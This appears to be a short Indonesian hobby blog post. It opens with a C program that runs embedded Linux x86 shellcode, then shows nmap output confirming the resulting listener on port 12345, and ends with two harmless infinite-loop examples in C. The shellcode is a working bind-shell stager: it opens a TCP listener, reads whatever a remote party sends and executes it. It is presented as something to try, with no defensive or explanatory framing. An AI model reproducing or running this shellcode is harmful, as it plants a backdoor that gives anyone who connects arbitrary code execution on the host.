iseng nyoba

#include <stdio.h>
char shell[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80"
"\x96\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x66\x58\x50"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89"
"\xdf\xff\xe1";
int main(void) {
       ((void (*)(void))shell)(); // str()
        return 0;
}

scan:

root@deepmind:~# nmap localhost

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-15 08:51 WIT
Interesting ports on localhost (127.0.0.1):
Not shown: 999 closed ports
PORT      STATE SERVICE
12345/tcp open  netbus

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

loop tiada akhir di C

contoh:

#include <stdio.h>
int main(){
	while(1){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}

dan

#include <stdio.h>
int main(){
	for(;;){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}